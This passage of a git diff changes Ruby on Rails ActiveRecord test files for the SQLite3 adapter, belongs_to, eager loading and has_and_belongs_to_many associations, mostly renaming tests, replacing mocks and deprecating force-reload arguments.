@conn.exec_query('SELECT id, data FROM ex') @@ -218,24 +213,12 @@ module ActiveRecord assert_equal "''", @conn.quote_string("'") end - def test_insert_sql - with_example_table do - 2.times do |i| - rv = @conn.insert_sql "INSERT INTO ex (number) VALUES (#{i})" - assert_equal(i + 1, rv) - end - - records = @conn.execute "SELECT * FROM ex" - assert_equal 2, records.length - end - end - - def test_insert_sql_logged + def test_insert_logged with_example_table do sql = "INSERT INTO ex (number) VALUES (10)" name = "foo" assert_logged [[sql, name, []]] do - @conn.insert_sql sql, name + @conn.insert(sql, name) end end end @@ -244,7 +227,7 @@ module ActiveRecord with_example_table do sql = "INSERT INTO ex (number) VALUES (10)" idval = 'vuvuzela' - id = @conn.insert_sql sql, nil, nil, idval + id = @conn.insert(sql, nil, nil, idval) assert_equal idval, id end end @@ -284,9 +267,9 @@ module ActiveRecord def test_tables with_example_table do - assert_equal %w{ ex }, @conn.tables + ActiveSupport::Deprecation.silence { assert_equal %w{ ex }, @conn.tables } with_example_table 'id integer PRIMARY KEY AUTOINCREMENT, number integer', 'people' do - assert_equal %w{ ex people }.sort, @conn.tables.sort + ActiveSupport::Deprecation.silence { assert_equal %w{ ex people }.sort, @conn.tables.sort } end end end @@ -294,10 +277,12 @@ module ActiveRecord def test_tables_logs_name sql = <<-SQL SELECT name FROM sqlite_master - WHERE (type = 'table' OR type = 'view') AND NOT name = 'sqlite_sequence' + WHERE type IN ('table','view') AND name <> 'sqlite_sequence' SQL assert_logged [[sql.squish, 'SCHEMA', []]] do - @conn.tables('hello') + ActiveSupport::Deprecation.silence do + @conn.tables('hello') + end end end @@ -313,11 +298,12 @@ module ActiveRecord with_example_table do sql = <<-SQL SELECT name FROM sqlite_master - WHERE (type = 'table' OR type = 'view') - AND NOT name = 'sqlite_sequence' AND name = \"ex\" + WHERE type IN ('table','view') AND name <> 'sqlite_sequence' AND name = 'ex' SQL assert_logged [[sql.squish, 'SCHEMA', []]] do - assert @conn.table_exists?('ex') + ActiveSupport::Deprecation.silence do + assert @conn.table_exists?('ex') + end end end end @@ -402,12 +388,6 @@ module ActiveRecord end end - def test_composite_primary_key - with_example_table 'id integer, number integer, foo integer, PRIMARY KEY (id, number)' do - assert_nil @conn.primary_key('ex') - end - end - def test_supports_extensions assert_not @conn.supports_extensions?, 'does not support extensions' end @@ -421,17 +401,20 @@ module ActiveRecord end def test_statement_closed - db = SQLite3::Database.new(ActiveRecord::Base. + db = ::SQLite3::Database.new(ActiveRecord::Base. configurations['arunit']['database']) - statement = SQLite3::Statement.new(db, + statement = ::SQLite3::Statement.new(db, 'CREATE TABLE statement_test (number integer not null)') - statement.stubs(:step).raises(SQLite3::BusyException, 'busy') - statement.stubs(:columns).once.returns([]) - statement.expects(:close).once - SQLite3::Statement.stubs(:new).returns(statement) - - assert_raises ActiveRecord::StatementInvalid do - @conn.exec_query 'select * from statement_test' + statement.stub(:step, ->{ raise ::SQLite3::BusyException.new('busy') }) do + assert_called(statement, :columns, returns: []) do + assert_called(statement, :close) do + ::SQLite3::Statement.stub(:new, statement) do + assert_raises ActiveRecord::StatementInvalid do + @conn.exec_query 'select * from statement_test' + end + end + end + end end end diff --git a/activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb b/activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb index deedf67c8e..9b675b804b 100644 --- a/activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb +++ b/activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb @@ -3,16 +3,20 @@ require 'models/owner' module ActiveRecord module ConnectionAdapters - class SQLite3CreateFolder < ActiveRecord::TestCase + class SQLite3CreateFolder < ActiveRecord::SQLite3TestCase def test_sqlite_creates_directory Dir.mktmpdir do |dir| - dir = Pathname.new(dir) - @conn = Base.sqlite3_connection :database => dir.join("db/foo.sqlite3"), - :adapter => 'sqlite3', - :timeout => 100 + begin + dir = Pathname.new(dir) + @conn = Base.sqlite3_connection :database => dir.join("db/foo.sqlite3"), + :adapter => 'sqlite3', + :timeout => 100 - assert Dir.exist? dir.join('db') - assert File.exist? dir.join('db/foo.sqlite3') + assert Dir.exist? dir.join('db') + assert File.exist? dir.join('db/foo.sqlite3') + ensure + @conn.disconnect! if @conn + end end end end diff --git a/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb b/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb index fd0044ac05..559b951109 100644 --- a/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb +++ b/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb @@ -2,11 +2,11 @@ require 'cases/helper' module ActiveRecord::ConnectionAdapters class SQLite3Adapter - class StatementPoolTest < ActiveRecord::TestCase + class StatementPoolTest < ActiveRecord::SQLite3TestCase if Process.respond_to?(:fork) def test_cache_is_per_pid - cache = StatementPool.new nil, 10 + cache = StatementPool.new(10) cache['foo'] = 'bar' assert_equal 'bar', cache['foo'] @@ -22,4 +22,3 @@ module ActiveRecord::ConnectionAdapters end end end - diff --git a/activerecord/test/cases/ar_schema_test.rb b/activerecord/test/cases/ar_schema_test.rb index 9d5327bf35..9c99689c1e 100644 --- a/activerecord/test/cases/ar_schema_test.rb +++ b/activerecord/test/cases/ar_schema_test.rb @@ -21,10 +21,10 @@ if ActiveRecord::Base.connection.supports_migrations? ActiveRecord::Migration.verbose = @original_verbose end - def test_has_no_primary_key + def test_has_primary_key old_primary_key_prefix_type = ActiveRecord::Base.primary_key_prefix_type ActiveRecord::Base.primary_key_prefix_type = :table_name_with_underscore - assert_nil ActiveRecord::SchemaMigration.primary_key + assert_equal "version", ActiveRecord::SchemaMigration.primary_key ActiveRecord::SchemaMigration.create_table assert_difference "ActiveRecord::SchemaMigration.count", 1 do diff --git a/activerecord/test/cases/associations/belongs_to_associations_test.rb b/activerecord/test/cases/associations/belongs_to_associations_test.rb index 47fd7345c8..9dadd114a1 100644 --- a/activerecord/test/cases/associations/belongs_to_associations_test.rb +++ b/activerecord/test/cases/associations/belongs_to_associations_test.rb @@ -1,6 +1,5 @@ require 'cases/helper' require 'models/developer' -require 'models/computer' require 'models/project' require 'models/company' require 'models/topic' @@ -19,6 +18,11 @@ require 'models/invoice' require 'models/line_item' require 'models/column' require 'models/record' +require 'models/admin' +require 'models/admin/user' +require 'models/ship' +require 'models/treasure' +require 'models/parrot' class BelongsToAssociationsTest < ActiveRecord::TestCase fixtures :accounts, :companies, :developers, :projects, :topics, @@ -31,6 +35,10 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase assert_equal companies(:first_firm).name, firm.name end + def test_missing_attribute_error_is_raised_when_no_foreign_key_attribute + assert_raises(ActiveModel::MissingAttributeError) { Client.select(:id).first.firm } + end + def test_belongs_to_does_not_use_order_by ActiveRecord::SQLCounter.clear_log Client.find(3).firm @@ -45,7 +53,7 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase def test_belongs_to_with_primary_key_joins_on_correct_column sql = Client.joins(:firm_with_primary_key).to_sql - if current_adapter?(:MysqlAdapter, :Mysql2Adapter) + if current_adapter?(:Mysql2Adapter) assert_no_match(/`firm_with_primary_keys_companies`\.`id`/, sql) assert_match(/`firm_with_primary_keys_companies`\.`name`/, sql) elsif current_adapter?(:OracleAdapter) @@ -85,7 +93,7 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase end account = model.new - refute account.valid? + assert_not account.valid? assert_equal [{error: :blank}], account.errors.details[:company] ensure ActiveRecord::Base.belongs_to_required_by_default = original_value @@ -102,7 +110,7 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase end account = model.new - refute account.valid? + assert_not account.valid? assert_equal [{error: :blank}], account.errors.details[:company] ensure ActiveRecord::Base.belongs_to_required_by_default = original_value @@ -124,9 +132,9 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase where("id = :inc", :inc => counter) } - has_many :comments, :class => comments + has_many :comments, :anonymous_class => comments } - belongs_to :post, :class => posts, :inverse_of => false + belongs_to :post, :anonymous_class => posts, :inverse_of => false } assert_equal 0, counter @@ -147,6 +155,30 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase assert_raise(ActiveRecord::AssociationTypeMismatch) { Account.find(1).firm = Project.find(1) } end + def test_raises_type_mismatch_with_namespaced_class + assert_nil defined?(Region), "This test requires that there is no top-level Region class" + + ActiveRecord::Base.connection.instance_eval do + create_table(:admin_regions) { |t| t.string :name } + add_column :admin_users, :region_id, :integer + end + Admin.const_set "RegionalUser", Class.new(Admin::User) { belongs_to(:region) } + Admin.const_set "Region", Class.new(ActiveRecord::Base) + + e = assert_raise(ActiveRecord::AssociationTypeMismatch) { + Admin::RegionalUser.new(region: 'wrong value') + } + assert_match(/^Region\([^)]+\) expected, got "wrong value" which is an instance of String\([^)]+\)$/, e.message) + ensure + Admin.send :remove_const, "Region" if Admin.const_defined?("Region") + Admin.send :remove_const, "RegionalUser" if Admin.const_defined?("RegionalUser") + + ActiveRecord::Base.connection.instance_eval do + remove_column :admin_users, :region_id if column_exists?(:admin_users, :region_id) + drop_table :admin_regions, if_exists: true + end + end + def test_natural_assignment apple = Firm.create("name" => "Apple") citibank = Account.create("credit_limit" => 10) @@ -263,7 +295,8 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase client = Client.find(3) client.firm = nil client.save - assert_nil client.firm(true) + client.association(:firm).reload + assert_nil client.firm assert_nil client.client_of end @@ -271,7 +304,8 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase client = Client.create(:name => "Primary key client", :firm_name => companies(:first_firm).name) client.firm_with_primary_key = nil client.save - assert_nil client.firm_with_primary_key(true) + client.association(:firm_with_primary_key).reload + assert_nil client.firm_with_primary_key assert_nil client.client_of end @@ -288,9 +322,13 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase def test_polymorphic_association_class sponsor = Sponsor.new assert_nil sponsor.association(:sponsorable).send(:klass) + sponsor.association(:sponsorable).reload + assert_nil sponsor.sponsorable sponsor.sponsorable_type = '' # the column doesn't have to be declared NOT NULL assert_nil sponsor.association(:sponsorable).send(:klass) + sponsor.association(:sponsorable).reload + assert_nil sponsor.sponsorable sponsor.sponsorable = Member.new :name => "Bert" assert_equal Member, sponsor.association(:sponsorable).send(:klass) @@ -311,6 +349,22 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase assert_equal 1, Company.all.merge!(:includes => :firm_with_select ).find(2).firm_with_select.attributes.size end + def test_belongs_to_without_counter_cache_option + # Ship has a conventionally named `treasures_count` column, but the counter_cache + # option is not given on the association. + ship = Ship.create(name: 'Countless') + + assert_no_difference lambda { ship.reload.treasures_count }, "treasures_count should not be changed unless counter_cache is given on the relation" do + treasure = Treasure.new(name: 'Gold', ship: ship) + treasure.save + end + + assert_no_difference lambda { ship.reload.treasures_count }, "treasures_count should not be changed unless counter_cache is given on the relation" do + treasure = ship.treasures.first + treasure.destroy + end + end + def test_belongs_to_counter debate = Topic.create("title" => "debate") assert_equal 0, debate.read_attribute("replies_count"), "No replies yet" @@ -422,13 +476,33 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase assert_queries(1) { line_item.touch } end + def test_belongs_to_with_touch_on_multiple_records + line_item = LineItem.create!(amount: 1) + line_item2 = LineItem.create!(amount: 2) + Invoice.create!(line_items: [line_item, line_item2]) + + assert_queries(1) do + LineItem.transaction do + line_item.touch + line_item2.touch + end + end + + assert_queries(2) do + line_item.touch + line_item2.touch + end + end + def test_belongs_to_with_touch_option_on_touch_without_updated_at_attributes assert_not LineItem.column_names.include?("updated_at") line_item = LineItem.create! invoice = Invoice.create!(line_items: [line_item]) initial = invoice.updated_at - line_item.touch + travel(1.second) do + line_item.touch + end assert_not_equal initial, invoice.reload.updated_at end @@ -507,7 +581,8 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase assert final_cut.persisted? assert firm.persisted? assert_equal firm, final_cut.firm - assert_equal firm, final_cut.firm(true) + final_cut.association(:firm).reload + assert_equal firm, final_cut.firm end def test_assignment_before_child_saved_with_primary_key @@ -519,7 +594,8 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase assert final_cut.persisted? assert firm.persisted? assert_equal firm, final_cut.firm_with_primary_key - assert_equal firm, final_cut.firm_with_primary_key(true) + final_cut.association(:firm_with_primary_key).reload + assert_equal firm, final_cut.firm_with_primary_key end def test_new_record_with_foreign_key_but_no_object @@ -624,6 +700,17 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase assert_equal 17, reply.replies.size end + def test_replace_counter_cache + topic = Topic.create(title: "Zoom-zoom-zoom") + reply = Reply.create(title: "re: zoom", content: "speedy quick!") + + reply.topic = topic + reply.save + topic.reload + + assert_equal 1, topic.replies_count + end + def test_association_assignment_sticks post = Post.first @@ -650,7 +737,7 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase assert companies(:first_client).readonly_firm.readonly? end - def test_test_polymorphic_assignment_foreign_key_type_string + def test_polymorphic_assignment_foreign_key_type_string comment = Comment.first comment.author = Author.first comment.resource = Member.first @@ -1014,6 +1101,12 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase Column.create! record: record assert_equal 1, Column.count end + + def test_association_force_reload_with_only_true_is_deprecated + client = Client.find(3) + + assert_deprecated { client.firm(true) } + end end class BelongsToWithForeignKeyTest < ActiveRecord::TestCase diff --git a/activerecord/test/cases/associations/bidirectional_destroy_dependencies_test.rb b/activerecord/test/cases/associations/bidirectional_destroy_dependencies_test.rb new file mode 100644 index 0000000000..2b867965ba --- /dev/null +++ b/activerecord/test/cases/associations/bidirectional_destroy_dependencies_test.rb @@ -0,0 +1,41 @@ +require 'cases/helper' +require 'models/content' + +class BidirectionalDestroyDependenciesTest < ActiveRecord::TestCase + fixtures :content, :content_positions + + def setup + Content.destroyed_ids.clear + ContentPosition.destroyed_ids.clear + end + + def test_bidirectional_dependence_when_destroying_item_with_belongs_to_association + content_position = ContentPosition.find(1) + content = content_position.content + assert_not_nil content + + content_position.destroy + + assert_equal [content_position.id], ContentPosition.destroyed_ids + assert_equal [content.id], Content.destroyed_ids + end + + def test_bidirectional_dependence_when_destroying_item_with_has_one_association + content = Content.find(1) + content_position = content.content_position + assert_not_nil content_position + + content.destroy + + assert_equal [content.id], Content.destroyed_ids + assert_equal [content_position.id], ContentPosition.destroyed_ids + end + + def test_bidirectional_dependence_when_destroying_item_with_has_one_association_fails_first_time + content = ContentWhichRequiresTwoDestroyCalls.find(1) + + 2.times { content.destroy } + + assert_equal content.destroyed?, true + end +end diff --git a/activerecord/test/cases/associations/callbacks_test.rb b/activerecord/test/cases/associations/callbacks_test.rb index a531e0e02c..a4298a25a6 100644 --- a/activerecord/test/cases/associations/callbacks_test.rb +++ b/activerecord/test/cases/associations/callbacks_test.rb @@ -177,14 +177,14 @@ class AssociationCallbacksTest < ActiveRecord::TestCase end def test_dont_add_if_before_callback_raises_exception - assert !@david.unchangable_posts.include?(@authorless) + assert !@david.unchangeable_posts.include?(@authorless) begin - @david.unchangable_posts << @authorless + @david.unchangeable_posts << @authorless rescue Exception end assert @david.post_log.empty? - assert !@david.unchangable_posts.include?(@authorless) + assert !@david.unchangeable_posts.include?(@authorless) @david.reload - assert !@david.unchangable_posts.include?(@authorless) + assert !@david.unchangeable_posts.include?(@authorless) end end diff --git a/activerecord/test/cases/associations/eager_test.rb b/activerecord/test/cases/associations/eager_test.rb index 7d8b933992..7f2a2229ee 100644 --- a/activerecord/test/cases/associations/eager_test.rb +++ b/activerecord/test/cases/associations/eager_test.rb @@ -24,6 +24,8 @@ require 'models/membership' require 'models/club' require 'models/categorization' require 'models/sponsor' +require 'models/mentor' +require 'models/contract' class EagerAssociationTest < ActiveRecord::TestCase fixtures :posts, :comments, :authors, :essays, :author_addresses, :categories, :categories_posts, @@ -108,53 +110,57 @@ class EagerAssociationTest < ActiveRecord::TestCase end def test_preloading_has_many_in_multiple_queries_with_more_ids_than_database_can_handle - Comment.connection.expects(:in_clause_length).at_least_once.returns(5) - posts = Post.all.merge!(:includes=>:comments).to_a - assert_equal 11, posts.size + assert_called(Comment.connection, :in_clause_length, returns: 5) do + posts = Post.all.merge!(:includes=>:comments).to_a + assert_equal 11, posts.size + end end def test_preloading_has_many_in_one_queries_when_database_has_no_limit_on_ids_it_can_handle - Comment.connection.expects(:in_clause_length).at_least_once.returns(nil) - posts = Post.all.merge!(:includes=>:comments).to_a - assert_equal 11, posts.size + assert_called(Comment.connection, :in_clause_length, returns: nil) do + posts = Post.all.merge!(:includes=>:comments).to_a + assert_equal 11, posts.size + end end def test_preloading_habtm_in_multiple_queries_with_more_ids_than_database_can_handle - Comment.connection.expects(:in_clause_length).at_least_once.returns(5) - posts = Post.all.merge!(:includes=>:categories).to_a - assert_equal 11, posts.size + assert_called(Comment.connection, :in_clause_length, times: 2, returns: 5) do + posts = Post.all.merge!(:includes=>:categories).to_a + assert_equal 11, posts.size + end end def test_preloading_habtm_in_one_queries_when_database_has_no_limit_on_ids_it_can_handle - Comment.connection.expects(:in_clause_length).at_least_once.returns(nil) - posts = Post.all.merge!(:includes=>:categories).to_a - assert_equal 11, posts.size + assert_called(Comment.connection, :in_clause_length, times: 2, returns: nil) do + posts = Post.all.merge!(:includes=>:categories).to_a + assert_equal 11, posts.size + end end def test_load_associated_records_in_one_query_when_adapter_has_no_limit - Comment.connection.expects(:in_clause_length).at_least_once.returns(nil) - - post = posts(:welcome) - assert_queries(2) do - Post.includes(:comments).where(:id => post.id).to_a + assert_called(Comment.connection, :in_clause_length, returns: nil) do + post = posts(:welcome) + assert_queries(2) do + Post.includes(:comments).where(:id => post.id).to_a + end end end def test_load_associated_records_in_several_queries_when_many_ids_passed - Comment.connection.expects(:in_clause_length).at_least_once.returns(1) - - post1, post2 = posts(:welcome), posts(:thinking) - assert_queries(3) do - Post.includes(:comments).where(:id => [post1.id, post2.id]).to_a + assert_called(Comment.connection, :in_clause_length, returns: 1) do + post1, post2 = posts(:welcome), posts(:thinking) + assert_queries(3) do + Post.includes(:comments).where(:id => [post1.id, post2.id]).to_a + end end end def test_load_associated_records_in_one_query_when_a_few_ids_passed - Comment.connection.expects(:in_clause_length).at_least_once.returns(3) - - post = posts(:welcome) - assert_queries(2) do - Post.includes(:comments).where(:id => post.id).to_a + assert_called(Comment.connection, :in_clause_length, returns: 3) do + post = posts(:welcome) + assert_queries(2) do + Post.includes(:comments).where(:id => post.id).to_a + end end end @@ -743,6 +749,38 @@ class EagerAssociationTest < ActiveRecord::TestCase } end + def test_eager_has_many_through_with_order + tag = OrderedTag.create(name: 'Foo') + post1 = Post.create!(title: 'Beaches', body: "I like beaches!") + post2 = Post.create!(title: 'Pools', body: "I like pools!") + + Tagging.create!(taggable_type: 'Post', taggable_id: post1.id, tag: tag) + Tagging.create!(taggable_type: 'Post', taggable_id: post2.id, tag: tag) + + tag_with_includes = OrderedTag.includes(:tagged_posts).find(tag.id) + assert_equal(tag_with_includes.taggings.map(&:taggable).map(&:title), tag_with_includes.tagged_posts.map(&:title)) + end + + def test_eager_has_many_through_multiple_with_order + tag1 = OrderedTag.create!(name: 'Bar') + tag2 = OrderedTag.create!(name: 'Foo') + + post1 = Post.create!(title: 'Beaches', body: "I like beaches!") + post2 = Post.create!(title: 'Pools', body: "I like pools!") + + Tagging.create!(taggable: post1, tag: tag1) + Tagging.create!(taggable: post2, tag: tag1) + Tagging.create!(taggable: post2, tag: tag2) + Tagging.create!(taggable: post1, tag: tag2) + + tags_with_includes = OrderedTag.where(id: [tag1, tag2].map(&:id)).includes(:tagged_posts).order(:id).to_a + tag1_with_includes = tags_with_includes.first + tag2_with_includes = tags_with_includes.last + + assert_equal([post2, post1].map(&:title), tag1_with_includes.tagged_posts.map(&:title)) + assert_equal([post1, post2].map(&:title), tag2_with_includes.tagged_posts.map(&:title)) + end + def test_eager_with_default_scope developer = EagerDeveloperWithDefaultScope.where(:name => 'David').first projects = Project.order(:id).to_a @@ -759,6 +797,23 @@ class EagerAssociationTest < ActiveRecord::TestCase end end + def test_eager_with_default_scope_as_class_method_using_find_method + david = developers(:david) + developer = EagerDeveloperWithClassMethodDefaultScope.find(david.id) + projects = Project.order(:id).to_a + assert_no_queries do + assert_equal(projects, developer.projects) + end + end + + def test_eager_with_default_scope_as_class_method_using_find_by_method + developer = EagerDeveloperWithClassMethodDefaultScope.find_by(name: 'David') + projects = Project.order(:id).to_a + assert_no_queries do + assert_equal(projects, developer.projects) + end + end + def test_eager_with_default_scope_as_lambda developer = EagerDeveloperWithLambdaDefaultScope.where(:name => 'David').first projects = Project.order(:id).to_a @@ -1150,12 +1205,30 @@ class EagerAssociationTest < ActiveRecord::TestCase assert_no_queries { assert client.accounts.empty? } end - def test_preloading_has_many_through_with_uniq + def test_preloading_has_many_through_with_distinct mary = Author.includes(:unique_categorized_posts).where(:id => authors(:mary).id).first assert_equal 1, mary.unique_categorized_posts.length assert_equal 1, mary.unique_categorized_post_ids.length end + def test_preloading_has_one_using_reorder + klass = Class.new(ActiveRecord::Base) do + def self.name; "TempAuthor"; end + self.table_name = "authors" + has_one :post, class_name: "PostWithDefaultScope", foreign_key: :author_id + has_one :reorderd_post, -> { reorder(title: :desc) }, class_name: "PostWithDefaultScope", foreign_key: :author_id + end + + author = klass.first + # PRECONDITION: make sure ordering results in different results + assert_not_equal author.post, author.reorderd_post + + preloaded_reorderd_post = klass.preload(:reorderd_post).first.reorderd_post + + assert_equal author.reorderd_post, preloaded_reorderd_post + assert_equal Post.order(title: :desc).first.title, preloaded_reorderd_post.title + end + def test_preloading_polymorphic_with_custom_foreign_type sponsor = sponsors(:moustache_club_sponsor_for_groucho) groucho = members(:groucho) @@ -1175,17 +1248,11 @@ class EagerAssociationTest < ActiveRecord::TestCase end def test_join_eager_with_empty_order_should_generate_valid_sql - assert_nothing_raised(ActiveRecord::StatementInvalid) do + assert_nothing_raised do Post.includes(:comments).order("").where(:comments => {:body => "Thank you for the welcome"}).first end end - def test_join_eager_with_nil_order_should_generate_valid_sql - assert_nothing_raised(ActiveRecord::StatementInvalid) do - Post.includes(:comments).order(nil).where(:comments => {:body => "Thank you for the welcome"}).first - end - end - def test_deep_including_through_habtm # warm up habtm cache posts = Post.all.merge!(:includes => {:categories => :categorizations}, :order => "posts.id").to_a @@ -1197,6 +1264,16 @@ class EagerAssociationTest < ActiveRecord::TestCase assert_no_queries { assert_equal 2, posts[1].categories[0].categorizations.length } end + def test_eager_load_multiple_associations_with_references + mentor = Mentor.create!(name: "Barış Can DAYLIK") + developer = Developer.create!(name: "Mehmet Emin İNAÇ", mentor: mentor) + Contract.create!(developer: developer) + project = Project.create!(name: "VNGRS", mentor: mentor) + project.developers << developer + projects = Project.references(:mentors).includes(mentor: { developers: :contracts }, developers: :contracts) + assert_equal projects.last.mentor.developers.first.contracts, projects.last.developers.last.contracts + end + test "scoping with a circular preload" do assert_equal Comment.find(1), Comment.preload(:post => :comments).scoping { Comment.find(1) } end @@ -1308,6 +1385,26 @@ class EagerAssociationTest < ActiveRecord::TestCase assert_match message, error.message end + test "preload with invalid argument" do + exception = assert_raises(ArgumentError) do + Author.preload(10).to_a + end + assert_equal('10 was not recognized for preload', exception.message) + end + + test "associations with extensions are not instance dependent" do + assert_nothing_raised do + Author.includes(:posts_with_extension).to_a + end + end + + test "including associations with extensions and an instance dependent scope is not supported" do + e = assert_raises(ArgumentError) do + Author.includes(:posts_with_extension_and_instance).to_a + end + assert_match(/Preloading instance dependent scopes is not supported/, e.message) + end + test "preloading readonly association" do # has-one firm = Firm.where(id: "1").preload(:readonly_account).first! @@ -1349,4 +1446,10 @@ class EagerAssociationTest < ActiveRecord::TestCase post = Post.eager_load(:tags).where('tags.name = ?', 'General').first assert_equal posts(:welcome), post end + + # CollectionProxy#reader is expensive, so the preloader avoids calling it. + test "preloading has_many_through association avoids calling association.reader" do + ActiveRecord::Associations::HasManyAssociation.any_instance.expects(:reader).never + Author.preload(:readonly_comments).first! + end end diff --git a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb index aea9207bfe..1bbca84bb2 100644 --- a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb +++ b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb @@ -3,6 +3,7 @@ require 'models/developer' require 'models/computer' require 'models/project' require 'models/company' +require 'models/course' require 'models/customer' require 'models/order' require 'models/categorization' @@ -14,6 +15,7 @@ require 'models/tagging' require 'models/parrot' require 'models/person' require 'models/pirate' +require 'models/professor' require 'models/treasure' require 'models/price_estimate' require 'models/club' @@ -83,6 +85,25 @@ class DeveloperWithSymbolClassName < Developer has_and_belongs_to_many :projects, class_name: :ProjectWithSymbolsForKeys end +class DeveloperWithExtendOption < Developer + module NamedExtension + def category + 'sns' + end + end + + has_and_belongs_to_many :projects, extend: NamedExtension +end + +class ProjectUnscopingDavidDefaultScope < ActiveRecord::Base + self.table_name = 'projects' + has_and_belongs_to_many :developers, -> { unscope(where: 'name') }, + class_name: "LazyBlockDeveloperCalledDavid", + join_table: "developers_projects", + foreign_key: "project_id", + association_foreign_key: "developer_id" +end + class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase fixtures :accounts, :companies, :categories, :posts, :categories_posts, :developers, :projects, :developers_projects, :parrots, :pirates, :parrots_pirates, :treasures, :price_estimates, :tags, :taggings, :computers @@ -125,6 +146,19 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase assert_equal 1, country.treaties.count end + def test_join_table_composite_primary_key_should_not_warn + country = Country.new(:name => 'India') + country.country_id = 'c1' + country.save! + + treaty = Treaty.new(:name => 'peace') + treaty.treaty_id = 't1' + warning = capture(:stderr) do + country.treaties << treaty + end + assert_no_match(/WARNING: Rails does not support composite primary key\./, warning) + end + def test_has_and_belongs_to_many david = Developer.find(1) @@ -147,8 +181,8 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase jamis.projects << action_controller assert_equal 2, jamis.projects.size - assert_equal 2, jamis.projects(true).size - assert_equal 2, action_controller.developers(true).size + assert_equal 2, jamis.projects.reload.size + assert_equal 2, action_controller.developers.reload.size end def test_adding_type_mismatch @@ -166,9 +200,9 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase action_controller.developers << jamis - assert_equal 2, jamis.projects(true).size + assert_equal 2, jamis.projects.reload.size assert_equal 2, action_controller.developers.size - assert_equal 2, action_controller.developers(true).size + assert_equal 2, action_controller.developers.reload.size end def test_adding_from_the_project_fixed_timestamp @@ -182,9 +216,9 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase action_controller.developers << jamis assert_equal updated_at, jamis.updated_at - assert_equal 2, jamis.projects(true).size + assert_equal 2, jamis.projects.reload.size assert_equal 2, action_controller.developers.size - assert_equal 2, action_controller.developers(true).size + assert_equal 2, action_controller.developers.reload.size end def test_adding_multiple @@ -193,7 +227,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase aredridel.projects.reload aredridel.projects.push(Project.find(1), Project.find(2)) assert_equal 2, aredridel.projects.size - assert_equal 2, aredridel.projects(true).size + assert_equal 2, aredridel.projects.reload.size end def test_adding_a_collection @@ -202,7 +236,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase aredridel.projects.reload aredridel.projects.concat([Project.find(1), Project.find(2)]) assert_equal 2, aredridel.projects.size - assert_equal 2, aredridel.projects(true).size + assert_equal 2, aredridel.projects.reload.size end def test_habtm_adding_before_save @@ -217,7 +251,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase assert_equal no_of_devels+1, Developer.count assert_equal no_of_projects+1, Project.count assert_equal 2, aredridel.projects.size - assert_equal 2, aredridel.projects(true).size + assert_equal 2, aredridel.projects.reload.size end def test_habtm_saving_multiple_relationships @@ -234,7 +268,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase assert_equal developers, new_project.developers end - def test_habtm_unique_order_preserved + def test_habtm_distinct_order_preserved assert_equal developers(:poor_jamis, :jamis, :david), projects(:active_record).non_unique_developers assert_equal developers(:poor_jamis, :jamis, :david), projects(:active_record).developers end @@ -339,7 +373,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase assert_equal 'Yet Another Testing Title', another_post.title end - def test_uniq_after_the_fact + def test_distinct_after_the_fact dev = developers(:jamis) dev.projects << projects(:active_record) dev.projects << projects(:active_record) @@ -348,13 +382,13 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase assert_equal 1, dev.projects.distinct.size end - def test_uniq_before_the_fact + def test_distinct_before_the_fact projects(:active_record).developers << developers(:jamis) projects(:active_record).developers << developers(:david) assert_equal 3, projects(:active_record, :reload).developers.size end - def test_uniq_option_prevents_duplicate_push + def test_distinct_option_prevents_duplicate_push project = projects(:active_record) project.developers << developers(:jamis) project.developers << developers(:david) @@ -365,7 +399,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase assert_equal 3, project.developers.size end - def test_uniq_when_association_already_loaded + def test_distinct_when_association_already_loaded project = projects(:active_record) project.developers << [ developers(:jamis), developers(:david), developers(:jamis), developers(:david) ] assert_equal 3, Project.includes(:developers).find(project.id).developers.size @@ -381,8 +415,8 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase david.projects.delete(active_record) assert_equal 1, david.projects.size - assert_equal 1, david.projects(true).size - assert_equal 2, active_record.developers(true).size + assert_equal 1, david.projects.reload.size + assert_equal 2, active_record.developers.reload.size end def test_deleting_array @@ -390,7 +424,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase david.projects.reload david.projects.delete(Project.all.to_a) assert_equal 0, david.projects.size - assert_equal 0, david.projects(true).size + assert_equal 0, david.projects.reload.size end def 